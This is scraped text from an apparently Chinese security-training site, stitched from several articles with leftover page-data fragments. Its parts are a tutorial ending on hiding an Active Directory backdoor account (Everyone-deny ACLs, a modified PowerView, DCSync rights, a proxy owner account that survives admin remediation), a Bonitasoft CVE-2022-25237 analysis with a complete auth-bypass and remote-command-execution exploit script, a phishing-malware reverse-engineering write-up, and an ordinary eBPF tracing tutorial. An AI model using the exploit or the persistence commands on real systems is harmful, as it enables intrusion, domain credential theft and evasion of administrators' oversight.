user命令已经看不到jumbo这个用户了:\r\n\r\n在“用户和计算机”里看用户长这样:\r\n\r\n从上面的操作可以发现,给everyone用户添加拒绝读取权限时是通过GUI实现的,因为everyone用户是个特殊的用户,属于https:\u002F\u002Flearn.microsoft.com\u002Fen-us\u002Fwindows-server\u002Fidentity\u002Fad-ds\u002Fmanage\u002Funderstand-special-identities-groups#everyone,是一个属于https:\u002F\u002Flearn.microsoft.com\u002Fen-us\u002Fwindows\u002Fwin32\u002Fsecauthz\u002Fwell-known-sids的用户,其对应的SID为S-1-1-0:\r\n\r\n当尝试使用powerview的Add-DomainObjectAcl方法是无法完成给everyone用户添加ACL的:\r\n\r\n通过查看powerview的代码,会通过Get-ObjectAcl方法获取对应用户的SID,但是刚刚提到,everyone用户是个特殊的用户,导致查不到:\r\n\r\n但是看了下还有个New-ADObjectAccessControlEntry方法,会判断输入的PrincipalIdentity参数是不是SID,如果是SID就不走查询,因此可以照葫芦画瓢,把这个判断加到Add-DomainObjectAcl方法中:\r\n\r\n       if ($PrincipalIdentity -notmatch '^S-1-.*') {\r\n           $PrincipalSearcherArguments = @{\r\n               'Identity' = $PrincipalIdentity\r\n               'Properties' = 'distinguishedname,objectsid'\r\n           }\r\n           if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }\r\n           if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }\r\n           if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }\r\n           if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }\r\n           if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }\r\n           if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }\r\n           if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }\r\n           $Principal = Get-DomainObject @PrincipalSearcherArguments\r\n           if (-not $Principal) {\r\n               throw \"Unable to resolve principal: $PrincipalIdentity\"\r\n           }\r\n           elseif($Principal.Count -gt 1) {\r\n               throw \"PrincipalIdentity matches multiple AD objects, but only one is allowed\"\r\n           }\r\n           $ObjectSid = $Principal.objectsid\r\n           Write-Host ($ObjectSid)\r\n       }\r\n       else {\r\n           Write-Host \"..sid..\"\r\n           $ObjectSid = $PrincipalIdentity\r\n       }               $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid)\r\n \r\n\r\n现在尝试下,给jumbo2用户添加everyone所有拒绝的ACL:\r\n\r\nAdd-DomainObjectAcl -TargetIdentity jumbo2 -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny\r\n\r\nRemove-DomainObjectAcl方法同理。\r\n\r\n隐藏主体\r\n\r\n通过上面的步骤,除了jumbo用户本身可以查看jumbo用户以为,其他用户都没有ReadControl权限,但是在“Active Directory用户和计算机管理”里还是可以看到,虽然ico图标都没了,接下来要让在“Active Directory用户和计算机管理”里也看不到。为了方便演示,笔者把jumbo用户移到一个单独的OU组里:\r\n\r\n然后给这个OU设置everyone拒绝读取权限即可:\r\n\r\n遇到一些粗心大意的管理员,可能会觉得这只是无意残留的无害物质,无伤大雅。\r\n\r\nDcsync\r\n\r\nDcsync实际上就是给用户设置两条扩展权限,分别为:\r\n\r\nDS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)\r\nDS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)\r\n\r\n当用户拥有这两条ACL后,即可使用DRS协议获取域hash凭据。给用户在域对象上添加Dcsync权限即可:\r\n\r\n代理账号\r\n\r\n上面提到,把jumbo用户拥有者改成自身,然后设置everyone对其没有读取权限,这样就可以达到隐藏jumbo,然后手上的jumbo用户就可以肆无忌惮的做一些操作。但是有个问题,万一做操作的时候,该用户被发现了,管理员把该用户进行了禁用,那好不容易获取到的账号就废了。为了防止账号被发现后被禁用\u002F被改密码不可用,应该设置个代理账号,把准备拿来攻击的账号(某个管理员用户或者有dcsync类似权限的账号)的拥有者设置代理账号,代理账号是其拥有所有者,然后设置所有用户对攻击账号都不可操作,最后每次都可以使用代理账号控制攻击账号,就算攻击账号被禁用\u002F被改密码,也可以使用代理账号来重新启用他。\r\n\r\n首先攻击账号为attack,代理账号为good,首先设置attack账号所有者为good:\r\n\r\nSet-DomainObjectOwner -identity attack -OwnerIdentity good\r\n\r\n给attack账号添加dcsync权限:\r\n\r\nAdd-DomainObjectAcl -TargetIdentity \"DC=domain,DC=com\" -PrincipalIdentity attack -Rights DCSync -AccessControlType Allow\r\n\r\n设置attack都不可操作:\r\n\r\nAdd-DomainObjectAcl -TargetIdentity attack -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny\r\n\r\n这个时候,如果attack在发起攻击的时候被管理员发现了,把attack账号密码重置了,但是good账号是attack账号的拥有者,可以修改attack账号的ACL,比如给自己添加修改密码的权限,然后去重置attack账号的密码,然后就又可以拿来攻击了。\r\n\r\n总结\r\n\r\n本文主要讲了在Windows域中如何利用ACL进行后门隐藏,并对powerview进行修改使其支持在添加ACL或者删除ACL时可以指定Allow或者Deny,也可以选择everyone此类特殊用户。",pic:"https:\u002F\u002Fm-1254331109.cos.ap-guangzhou.myqcloud.com\u002F202212061456000.jpeg",openTime:"2022-12-07T09:04:48+08:00",viewsNum:3985}]},systemName:"蚁景网安 - 网络安全人才培养服务提供商",loginUser:void 0,cacheFlag:"1fb96caedc8ae227b3dff345bd9ef09f",isMobileDevice:false}}("specialized"))
Bonitasoft认证绕过和RCE漏洞分析及复现(CVE-2022-25237)
一、漏洞原理 漏洞简述 Bonitasoft 是一个业务自动化平台,可以更轻松地在业务流程中构建、部署和管理自动化应用程序; Bonita 是一个用于业务流程自动化和优化的开源和可扩展平台。 Bonita Web 2021.2版本受到认证绕过影响,因为其API认证过滤器的过滤模式过于宽泛。 通过添加恶意构造的字符串到API URL,普通用户可以访问需特权的API端点。这可能导致特权API操作将恶意代码添加至服务器,从而造成RCE攻击。 漏洞影响范围 供应商:Bonitasoft 产品:Bonita Platform 确认受影响版本:< 2022.1-u0 修复版本:/ 社区版:< 2022.1-u0 (7.14.0) 订购版:< 2022.1-u0 (7.14.0) 、2021.2-u4 (7.13.4) 、2021.1-0307 (7.12.11) 、7.11.7 漏洞分析 本漏洞的漏洞点来自系统中web.xml文件,该文件用于定义系统应用的路由和如何处理路由的认证及授权。以社区版2021.2 u0为例,XML配置文件路径为bonita\BonitaCommunity-2021.2-u0\server\webapps\bonita\WEB-INF\web.xml。 按照经验来说,这里会是认证绕过易产生之处。确切地说,web.xml中的过滤器很有效地决定了访问特定路由是否应该进行过滤。下图认证过滤器定义赋值参数excludePatterns,值为i18ntranslation。之后将参数传递给2个不同过滤器类:RestAPIAuthorizationFilter, TokenValidatorFilter。 同时上述2个类RestAPIAuthorizationFilter, TokenValidatorFilter,存在同一父类AbstractAuthorizationFilter。 分析这些过滤器都对AbstractAuthorizationFilter进行扩展处理,其中doFilter方法我们展开说明。 路径为org.bonitasoft.console.common.server.login.filter.AbstractAuthorizationFilter#doFilter。 通过sessionIsNotNeeded方法进行检查,如果返回结果为真,则继续代码流程。 (checkValidCondition方法主要对doFilter的两个参数httpRequest、httpResponse进行检查,可能用于同源策略检查,不详细叙述) 下图可以看到该方法主要是参照excludePatterns对请求 URL路径字段进行检查。如果该路径存在该模式,会绕过认证过滤器,从而成功访问资源。 开始定义状态值isMatched,默认值为false。开始进行空值检查,对excludePatterns进行分隔处理。 循环进行检查,如果requestURL包含excludePatterns,则状态值isMatched变为true。跳出循环。 在前面XML文件中参数excludePattern的值为i18ntranslation。这意味着URL路径如果包含i18ntranslation,则会允许认证绕过。 根据代码特征测试,“/i18ntranslation/../“ 或 ”;i18ntranslation“ 可以进行绕过。 另外,远程命令执行(RCE)该漏洞主要是以上传恶意文件作为方式,上传接口同样定义在web.xml,为/API/pageUpload。 getPagePermissions方法在文件处理过程需要session,该session就是从apiSession获取。 根据代码,若未登录状况,apisession无法赋值,该方法会抛出异常。 从攻击角度,我们需要通过非特权下普通用户进行会话,使得apisession正常赋值,进一步实现远程命令执行。 二、漏洞复现实战 环境搭建 docker镜像: https://hub.docker.com/_/bonita vulfocus: bonita镜像 漏洞复现 首先以超级管理员身份进入bonita,创建用户功能 创建普通用户 之后根据POC进行复现 POC: import requests import sys class exploit:    try:        session = requests.session()        bonita_user = sys.argv[1]        bonita_password = sys.argv[2]        target_path = sys.argv[3]        cmd = sys.argv[4]        tempPath = ""        extension_id = ""        bonita_default_user = "install"        bonita_default_password = "install"        platform_default_user = "platformAdmin"        platform_default_password = "platform"    except:        print(f"Usage: python3 {sys.argv[0]} <username> <password> http://localhost:8080/bonita 'cat /etc/passwd'")        exit() def try_default_logins():    req_url = f"{exploit.target_path}/loginservice"    req_cookies = {"x": "x"}    req_headers = {"Content-Type": "application/x-www-form-urlencoded"}    req_data = {"username": exploit.bonita_default_user, "password": exploit.bonita_default_password, "_l": "en"}    r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)    if r.status_code == 401:        return False        # This does not seem to work when authenticating as platformAdmin, maybe it can though.    #     req_url = f"{exploit.target_path}/platformloginservice"    #     req_cookies = {"x": "x"}    #     req_headers = {"Content-Type": "application/x-www-form-urlencoded"}    #     req_data = {"username": exploit.platform_default_user, "password": exploit.platform_default_password, "_l": "en"}    #     r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)    #     if r.status_code == 200:    #         print(f"[+] Found default creds: {exploit.platform_default_user}:{exploit.platform_default_password}")    #         return True    else:        print(f"[+] Found default creds: {exploit.bonita_default_user}:{exploit.bonita_default_password}")        return True def login():    req_url = f"{exploit.target_path}/loginservice"    req_cookies = {"x": "x"}    req_headers = {"Content-Type": "application/x-www-form-urlencoded"}    req_data = {"username": exploit.bonita_user, "password": exploit.bonita_password, "_l": "en"}    r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)    if r.status_code == 401:        print("[!] Could not get a valid session using those credentials.")        exit()    else:        print(f"[+] Authenticated with {exploit.bonita_user}:{exploit.bonita_password}") def upload_api_extension():    req_url = f"{exploit.target_path}/API/pageUpload;i18ntranslation?action=add"    files=[   ("file",("rce_api_extension.zip",open("rce_api_extension.zip",'rb'),'application/octet-stream'))   ]    r = exploit.session.post(req_url, files=files)    exploit.tempPath = r.json()["tempPath"] def activate_api_extension():    req_url = f"{exploit.target_path}/API/portal/page/;i18ntranslation"    req_headers = {"Content-Type": "application/json;charset=UTF-8"}    req_json={"contentName": "rce_api_extension.zip", "pageZip": exploit.tempPath}    r = exploit.session.post(req_url, headers=req_headers, json=req_json)    exploit.extension_id = r.json()["id"] def delete_api_extension():    req_url = f"{exploit.target_path}/API/portal/page/{exploit.extension_id};i18ntranslation"    exploit.session.delete(req_url) def run_cmd():    req_url = f"{exploit.target_path}/API/extension/rce?p=0&c=1&cmd={exploit.cmd}"    r = exploit.session.get(req_url)    print(r.json()["out"]) if not try_default_logins():    print("[!] Did not find default creds, trying supplied credentials.")    login() upload_api_extension() activate_api_extension() try:    run_cmd() except:    delete_api_extension() delete_api_extension() 执行POC 漏洞修复 建议更新至2022.1-u0以上版本 结束语 本文主要介绍了CVE-2022-25237 Bonitasoft 认证绕过和RCE漏洞的原理分析及复现过程,漏洞主要利用构造恶意字段添加至API URL,绕过过滤器进行访问资源,从而造成认证绕过,进一步可远程命令执行。 根据漏洞原理可以参照的是,在安全控制方面,左移安全中安全开发过程及时开展代码审计等测试工作,避免上述漏洞涉及的问题。
记一次2022某地HVV中的逆向分析
前言 事情是这样的,国庆前期某地HVV,所以接到了客户通知他们收到了钓鱼邮件想要溯源 直接下载文件逆向分析一波。钓鱼邮件,图标什么的做的还是挺逼真的,还真的挺容易中招的,但是这里的bug也明显,丹尼斯没有客户端,百度一下能够辨别这是钓鱼的。 逆向分析 查壳工具DIE看是否加壳 当然其他查壳工具也可以exeinfope等,看到的东西不一样 可以看到是64位的应用,无壳,IDA静态分析 直接进入主函数,直接F5逆向main函数c代码 主函数中使用的函数比较少 int __cdecl main(int argc, const char **argv, const char **envp) { HRSRC ResourceW; // rbx HGLOBAL Resource; // rbp signed int v5; // eax size_t v6; // rsi size_t v7; // rcx void *v8; // rdi ResourceW = FindResourceW(0i64, (LPCWSTR)0x66, L"DATA"); Resource = LoadResource(0i64, ResourceW); v5 = SizeofResource(0i64, ResourceW); v6 = v5; v7 = (unsigned int)(v5 + 1); if ( v5 == -1 )   v7 = -1i64; v8 = malloc(v7); memset(v8, 0, (int)v6 + 1); memcpy(v8, Resource, v6); sub_140001070(v8); return 0; } 简单来看就是先查找资源,DATA应该为加密的shellcode,加载资源赋 给Resource,计算资源空间大小,malloc分配空间大小,memset 将申请的内存初始化为0,memcpy函数的功能是从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中,跟进sub_140001070 可以看到反汇编之后在第52行创建进程,在56行分配虚拟内存,60行写入内存,61行创建线程,这里创建的线程即为恶意进程。这里使用动态调试x96dbg验证我们的分析另外,需要分析一下外联的地址以及注入的进程是什么,64位的应用使用x64dbg,依次下断点 简单计算一下地址,IDA的起始地址为00000001400015C4 FindResourcew地址为00000001400015C4 在x64dbg中找到起始地址00007FF638B915C4 根据偏移量跳转下断点 F7按步调试 在loadResource函数中追踪内存 这里加载的是DATA的内容,即为加密的shellcode,我们直接用Resouce hacker直接查看一下恶意进程dennis.exe的DATA内容 说明我们的分析没有问题,继续向下调试 因为这个应用比较小,所以代码量也不大,f5反编译之后可以直接找到函数下断点,这里不需要计算偏移量了,计算方法跟上面差不多。 调试走到这里,可以发现走的是循环 可以明显的看到有xor异或指令,这里对shellcode即DATA的内容做异或,异或的对象为byte ptr指向的地址,内存数据为key,那么key的内容为 因为是按字节异或所以这里异或的内存应该为78,整个循环异或的key应该为12345678,shellcode加密的时候应该用的key为12345678加密的,所以这里解密使用key去解密,跳出循环RIP一下,到断点CreateProcessW 可以清晰的看到注入的进程为C:\\windwos\\system32\\svchost.exe,向下调试 申请虚拟空间内存,然后向下为写入内存 解密完成后写入内存,所以在这里是可以看到外联的ip地址或者说是域名的,这里使用的是ip,查询之后发现是某云的服务器。 在向下就是创建进程起服务svchost.exe了 小结 钓鱼使用的服务器ip地址是某云,怕是可以溯源到本人的真实身份了吧,毕竟现在国内运营商都需要实名,如果用的国内域名也都是实名的不管是否有CDN,不过这种级别的HVV也没必要。第一次逆向分析,多亏了大佬指点,步履维艰,如有错误欢迎指出。
linux跟踪技术之ebpf
ebpf简介 eBPF是一项革命性的技术,起源于 Linux 内核,可以在操作系统内核等特权上下文中运行沙盒程序。它可以安全有效地扩展内核的功能,而无需更改内核源代码或加载内核模块。 比如,使用ebpf可以追踪任何内核导出函数的参数,返回值,以实现kernel hook 的效果;通过ebpf还可以在网络封包到达内核协议栈之前就进行处理,这可以实现流量控制,甚至隐蔽通信。 ebpf追踪 ebpf本质上只是运行在linux 内核中的虚拟机,要发挥其强大的能力还是要跟linux kernel 自带的追踪功能搭配: kprobe uprobe tracepoint USDT 通常可以通过以下三种工具使用ebpf: bcc libbpf bpftrace bcc BCC 是一个用于创建高效内核跟踪和操作程序的工具包,包括几个有用的工具和示例。它利用扩展的 BPF(Berkeley Packet Filters),正式名称为 eBPF,这是 Linux 3.15 中首次添加的新功能。BCC 使用的大部分内容都需要 Linux 4.1 及更高版本。 源码安装bcc v0.25.0 首先clone bcc 源码仓库 git clone https://github.com/iovisor/bcc.git git checkout v0.25.0 git submodule init git submodule update bcc 从v0.10.0开始使用libbpf 并通过submodule 的形式加入源码树,所以这里需要更新并拉取子模块 安装依赖 apt install flex bison libdebuginfod-dev libclang-14-dev 编译bcc mkdir build && cd build cmake -DCMAKE_BUILD_TYPE=Release .. make -j #n取决于机器的cpu核心数 编译安装完成后,在python3中就能使用bcc模块了 安装bcc时会在/usr/share/bcc目录下安装bcc自带的示例脚本和工具脚本,以及manual 文档 可以直接使用man -M /usr/share/bcc/man <keyword>来查询 使用python + bcc 跟踪内核函数 bcc 自带的工具execsnoop可以跟踪execv系统调用,其源代码如下: #!/usr/bin/python # @lint-avoid-python-3-compatibility-imports # # execsnoop Trace new processes via exec() syscalls. #           For Linux, uses BCC, eBPF. Embedded C. # # USAGE: execsnoop [-h] [-T] [-t] [-x] [-q] [-n NAME] [-l LINE] #                 [--max-args MAX_ARGS] # # This currently will print up to a maximum of 19 arguments, plus the process # name, so 20 fields in total (MAXARG). # # This won't catch all new processes: an application may fork() but not exec(). # # Copyright 2016 Netflix, Inc. # Licensed under the Apache License, Version 2.0 (the "License") # # 07-Feb-2016   Brendan Gregg   Created this. from __future__ import print_function from bcc import BPF from bcc.containers import filter_by_containers from bcc.utils import ArgString, printb import bcc.utils as utils import argparse import re import time import pwd from collections import defaultdict from time import strftime def parse_uid(user):    try:        result = int(user)    except ValueError:        try:            user_info = pwd.getpwnam(user)        except KeyError:            raise argparse.ArgumentTypeError(                "{0!r} is not valid UID or user entry".format(user))        else:            return user_info.pw_uid    else:        # Maybe validate if UID < 0 ?        return result # arguments examples = """examples:   ./execsnoop           # trace all exec() syscalls   ./execsnoop -x       # include failed exec()s   ./execsnoop -T       # include time (HH:MM:SS)   ./execsnoop -U       # include UID   ./execsnoop -u 1000   # only trace UID 1000   ./execsnoop -u user   # get user UID and trace only them   ./execsnoop -t       # include timestamps   ./execsnoop -q       # add "quotemarks" around arguments   ./execsnoop -n main   # only print command lines containing "main"   ./execsnoop -l tpkg   # only print command where arguments contains "tpkg"   ./execsnoop --cgroupmap mappath # only trace cgroups in this BPF map   ./execsnoop --mntnsmap mappath   # only trace mount namespaces in the map """ parser = argparse.ArgumentParser(    description="Trace exec() syscalls",    formatter_class=argparse.RawDescriptionHelpFormatter,    epilog=examples) parser.add_argument("-T", "--time", action="store_true",    help="include time column on output (HH:MM:SS)") parser.add_argument("-t", "--timestamp", action="store_true",    help="include timestamp on output") parser.add_argument("-x", "--fails", action="store_true",    help="include failed exec()s") parser.add_argument("--cgroupmap",    help="trace cgroups in this BPF map only") parser.add_argument("--mntnsmap",    help="trace mount namespaces in this BPF map only") parser.add_argument("-u", "--uid", type=parse_uid, metavar='USER',    help="trace this UID only") parser.add_argument("-q", "--quote", action="store_true",    help="Add quotemarks (\") around arguments."   ) parser.add_argument("-n", "--name",    type=ArgString,    help="only print commands matching this name (regex), any arg") parser.add_argument("-l", "--line",    type=ArgString,    help="only print commands where arg contains this line (regex)") parser.add_argument("-U", "--print-uid", action="store_true",    help="print UID column") parser.add_argument("--max-args", default="20",    help="maximum number of arguments parsed and displayed, defaults to 20") parser.add_argument("--ebpf", action="store_true",    help=argparse.SUPPRESS) args = parser.parse_args() # define BPF program bpf_text = """ #include <uapi/linux/ptrace.h> #include <linux/sched.h> #include <linux/fs.h> #define ARGSIZE 128 enum event_type {   EVENT_ARG,   EVENT_RET, }; struct data_t {   u32 pid; // PID as in the userspace term (i.e. task->tgid in kernel)   u32 ppid; // Parent PID as in the userspace term (i.e task->real_parent->tgid in kernel)   u32 uid;   char comm[TASK_COMM_LEN];   enum event_type type;   char argv[ARGSIZE];   int retval; }; BPF_PERF_OUTPUT(events); static int __submit_arg(struct pt_regs *ctx, void *ptr, struct data_t *data) {   bpf_probe_read_user(data->argv, sizeof(data->argv), ptr);   events.perf_submit(ctx, data, sizeof(struct data_t));   return 1; } static int submit_arg(struct pt_regs *ctx, void *ptr, struct data_t *data) {   const char *argp = NULL;   bpf_probe_read_user(&argp, sizeof(argp), ptr);   if (argp) {       return __submit_arg(ctx, (void *)(argp), data);   }   return 0; } int syscall__execve(struct pt_regs *ctx,   const char __user *filename,   const char __user *const __user *__argv,   const char __user *const __user *__envp) {   u32 uid = bpf_get_current_uid_gid() & 0xffffffff;   UID_FILTER   if (container_should_be_filtered()) {       return 0;   }   // create data here and pass to submit_arg to save stack space (#555)   struct data_t data = {};   struct task_struct *task;   data.pid = bpf_get_current_pid_tgid() >> 32;   task = (struct task_struct *)bpf_get_current_task();   // Some kernels, like Ubuntu 4.13.0-generic, return 0   // as the real_parent->tgid.   // We use the get_ppid function as a fallback in those cases. (#1883)   data.ppid = task->real_parent->tgid;   bpf_get_current_comm(&data.comm, sizeof(data.comm));   data.type = EVENT_ARG;   __submit_arg(ctx, (void *)filename, &data);   // skip first arg, as we submitted filename   #pragma unroll   for (int i = 1; i < MAXARG; i++) {       if (submit_arg(ctx, (void *)&__argv[i], &data) == 0)             goto out;   }   // handle truncated argument list   char ellipsis[] = "...";   __submit_arg(ctx, (void *)ellipsis, &data); out:   return 0; } int do_ret_sys_execve(struct pt_regs *ctx) {   if (container_should_be_filtered()) {       return 0;   }   struct data_t data = {};   struct task_struct *task;   u32 uid = bpf_get_current_uid_gid() & 0xffffffff;   UID_FILTER   data.pid = bpf_get_current_pid_tgid() >> 32;   data.uid = uid;   task = (struct task_struct *)bpf_get_current_task();   // Some kernels, like Ubuntu 4.13.0-generic, return 0   // as the real_parent->tgid.   // We use the get_ppid function as a fallback in those cases. (#1883)   data.ppid = task->real_parent->tgid;   bpf_get_current_comm(&data.comm, sizeof(data.comm));   data.type = EVENT_RET;   data.retval = PT_REGS_RC(ctx);   events.perf_submit(ctx, &data, sizeof(data));   return 0; } """ bpf_text = bpf_text.replace("MAXARG", args.max_args) if args.uid:    bpf_text = bpf_text.replace('UID_FILTER',        'if (uid != %s) { return 0; }' % args.uid) else:    bpf_text = bpf_text.replace('UID_FILTER', '') bpf_text = filter_by_containers(args) + bpf_text if args.ebpf:    print(bpf_text)    exit() # initialize BPF b = BPF(text=bpf_text) execve_fnname = b.get_syscall_fnname("execve") b.attach_kprobe(event=execve_fnname, fn_name="syscall__execve") b.attach_kretprobe(event=execve_fnname, fn_name="do_ret_sys_execve") # header if args.time:    print("%-9s" % ("TIME"), end="") if args.timestamp:    print("%-8s" % ("TIME(s)"), end="") if args.print_uid:    print("%-6s" % ("UID"), end="") print("%-16s %-7s %-7s %3s %s" % ("PCOMM", "PID", "PPID", "RET", "ARGS")) class EventType(object):    EVENT_ARG = 0    EVENT_RET = 1 start_ts = time.time() argv = defaultdict(list) # This is best-effort PPID matching. Short-lived processes may exit # before we get a chance to read the PPID. # This is a fallback for when fetching the PPID from task->real_parent->tgip # returns 0, which happens in some kernel versions. def get_ppid(pid):    try:        with open("/proc/%d/status" % pid) as status:            for line in status:                if line.startswith("PPid:"):                    return int(line.split()[1])    except IOError:        pass    return 0 # process event def print_event(cpu, data, size):    event = b["events"].event(data)    skip = False    if event.type == EventType.EVENT_ARG:        argv[event.pid].append(event.argv)    elif event.type == EventType.EVENT_RET:        if event.retval != 0 and not args.fails:            skip = True        if args.name and not re.search(bytes(args.name), event.comm):            skip = True        if args.line and not re.search(bytes(args.line),                                       b' '.join(argv[event.pid])):            skip = True        if args.quote:            argv[event.pid] = [                b"\"" + arg.replace(b"\"", b"\\\"") + b"\""                for arg in argv[event.pid]           ]        if not skip:            if args.time:                printb(b"%-9s" % strftime("%H:%M:%S").encode('ascii'), nl="")            if args.timestamp:                printb(b"%-8.3f" % (time.time() - start_ts), nl="")            if args.print_uid:                printb(b"%-6d" % event.uid, nl="")            ppid = event.ppid if event.ppid > 0 else get_ppid(event.pid)            ppid = b"%d" % ppid if ppid > 0 else b"?"            argv_text = b' '.join(argv[event.pid]).replace(b'\n', b'\\n')            printb(b"%-16s %-7d %-7s %3d %s" % (event.comm, event.pid,                   ppid, event.retval, argv_text))        try:            del(argv[event.pid])        except Exception:            pass # loop with callback to print_event b["events"].open_perf_buffer(print_event) while 1:    try:        b.perf_buffer_poll()    except KeyboardInterrupt:        exit() 此工具使用kprobe和kretprobe跟踪execv系统调用的进入和退出事件,并将进程名,进程参数,pid,ppid以及返回代码输出到终端 使用python + bcc 跟踪用户函数 bcc中使用uprobe跟踪glibc malloc 函数的工具,并统计malloc 内存的总量。 #!/usr/bin/python # # mallocstacks Trace malloc() calls in a process and print the full #               stack trace for all callsites. #               For Linux, uses BCC, eBPF. Embedded C. # # This script is a basic example of the new Linux 4.6+ BPF_STACK_TRACE # table API. # # Copyright 2016 GitHub, Inc. # Licensed under the Apache License, Version 2.0 (the "License") from __future__ import print_function from bcc import BPF from bcc.utils import printb from time import sleep import sys if len(sys.argv) < 2:    print("USAGE: mallocstacks PID [NUM_STACKS=1024]")    exit() pid = int(sys.argv[1]) if len(sys.argv) == 3:    try:        assert int(sys.argv[2]) > 0, ""    except (ValueError, AssertionError) as e:        print("USAGE: mallocstacks PID [NUM_STACKS=1024]")        print("NUM_STACKS must be a non-zero, positive integer")        exit()    stacks = sys.argv[2] else:    stacks = "1024" # load BPF program b = BPF(text=""" #include <uapi/linux/ptrace.h> BPF_HASH(calls, int); BPF_STACK_TRACE(stack_traces, """ + stacks + """); int alloc_enter(struct pt_regs *ctx, size_t size) {   int key = stack_traces.get_stackid(ctx, BPF_F_USER_STACK);   if (key < 0)       return 0;   // could also use `calls.increment(key, size);`   u64 zero = 0, *val;   val = calls.lookup_or_try_init(&key, &zero);   if (val) {     (*val) += size;   }   return 0; }; """) b.attach_uprobe(name="c", sym="malloc", fn_name="alloc_enter", pid=pid) print("Attaching to malloc in pid %d, Ctrl+C to quit." % pid) # sleep until Ctrl-C try:    sleep(99999999) except KeyboardInterrupt:    pass calls = b.get_table("calls") stack_traces = b.get_table("stack_traces") for k, v in reversed(sorted(calls.items(), key=lambda c: c[1].value)):    print("%d bytes allocated at:" % v.value)    if k.value > 0 :        for addr in stack_traces.walk(k.value):            printb(b"\t%s" % b.sym(addr, pid, show_offset=True)) libbpf libbpf是linux 源码树中的ebpf 开发包。同时在github上也有独立的代码仓库。 这里推荐使用https://zhuanlan.zhihu.com/write这个项目 libbpf-bootstrap libbpf-bootstrap是使用 libbpf 和 BPF CO-RE 进行 BPF 应用程序开发的脚手架项目 首先克隆libbpf-bootstrap仓库 git clone https://github.com/libbpf/libbpf-bootstrap.git 然后同步子模块 cd libbpf-bootstrap git submodule init git submodule update 注意,子模块中包含bpftool,bpftool中还有子模块需要同步 在bpftool目录下重复以上步骤 libbpf-bootstrap中包含以下目录 这里进入example/c中,这里包含一些示例工具 直接make编译 等编译完成后,在此目录下会生成可执行文件 先运行一下bootstrap,这里要用root权限运行 bootstrap程序会追踪所有的exec和exit系统调用,每次程序运行时,bootstrap就会输出运行程序的信息。 再看看minimal,这是一个最小ebpf程序。 运行后输出大量信息,最后有提示让我们运行sudo cat /sys/kernel/debug/tracing/trace_pipe来查看输出 运行这个命令 minimal 会追踪所有的write系统调用,并打印出调用write的进程的pid 这里看到pid为11494,ps 查询一下这个进程,发现就是minimal 来看看minimal的源码,这个程序主要有两个C文件组成,minimal.c和minimal.bpf.c前者为此程序的源码,后者为插入内核虚拟机的ebpf代码。 // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) /* Copyright (c) 2020 Facebook */ #include <stdio.h> #include <unistd.h> #include <sys/resource.h> #include <bpf/libbpf.h> #include "minimal.skel.h" static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) {    return vfprintf(stderr, format, args); } int main(int argc, char **argv) {    struct minimal_bpf *skel;    int err;    libbpf_set_strict_mode(LIBBPF_STRICT_ALL);    /* Set up libbpf errors and debug info callback */    libbpf_set_print(libbpf_print_fn);    /* Open BPF application */    skel = minimal_bpf__open();    if (!skel) {        fprintf(stderr, "Failed to open BPF skeleton\n");        return 1;   }    /* ensure BPF program only handles write() syscalls from our process */    skel->bss->my_pid = getpid();    /* Load & verify BPF programs */    err = minimal_bpf__load(skel);    if (err) {        fprintf(stderr, "Failed to load and verify BPF skeleton\n");        goto cleanup;   }    /* Attach tracepoint handler */    err = minimal_bpf__attach(skel);    if (err) {        fprintf(stderr, "Failed to attach BPF skeleton\n");        goto cleanup;   }    printf("Successfully started! Please run `sudo cat /sys/kernel/debug/tracing/trace_pipe` "           "to see output of the BPF programs.\n");    for (;;) {        /* trigger our BPF program */        fprintf(stderr, ".");        sleep(1);   }    cleanup:    minimal_bpf__destroy(skel);    return -err; } 首先看一下minimal.c的内容,在main函数中首先调用了libbpf_set_strict_mode(LIBBPF_STRICT_ALL);设置为libbpf v1.0模式。此模式下错误代码直接通过函数返回值传递,不再需要检查errno。 之后调用libbpf_set_print(libbpf_print_fn);将程序中一个自定义输出函数设置为调试输出的回调函数,即运行minimal的这些输出全都时通过libbpf_print_fn输出的。 然后在minimal.c:24调用生成的minimal.skel.h中的预定义函数minimal_bpfopen打开bpf程序,这里返回一个minimal_bpf类型的对象(c中使用结构体模拟对象)。 在31行将minimal_bpf对象的bss子对象的my_pid属性设置为当前进程pid 这里minimal_bpf对象和bss都由minimal.bpf.c代码编译而来。minimal.bpf.c经过clang 编译连接,生成minimal.bpf.o,这是一个elf文件,其中包含bss段,这个段内通常储存着minimal.bpf.c中所有经过初始化的变量。 skel->bss->my_pi 接下来看minimal.bpf.c 这是ebpf程序的源码,是要加载到内核中的ebpf虚拟机中运行的,由于在运行在内核中,具有得天独厚的地理位置,可以访问系统中所有资源,再配合上众多的tracepoint,就可以发挥出强大的追踪能力。 下面是minimal.bpf.c的源码 // SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause /* Copyright (c) 2020 Facebook */ #include <linux/bpf.h> #include <bpf/bpf_helpers.h> char LICENSE[] SEC("license") = "Dual BSD/GPL"; int my_pid = 0; SEC("tp/syscalls/sys_enter_write") int handle_tp(void *ctx) {    int pid = bpf_get_current_pid_tgid() >> 32;    if (pid != my_pid)        return 0;    bpf_printk("BPF triggered from PID %d.\n", pid);    return 0; 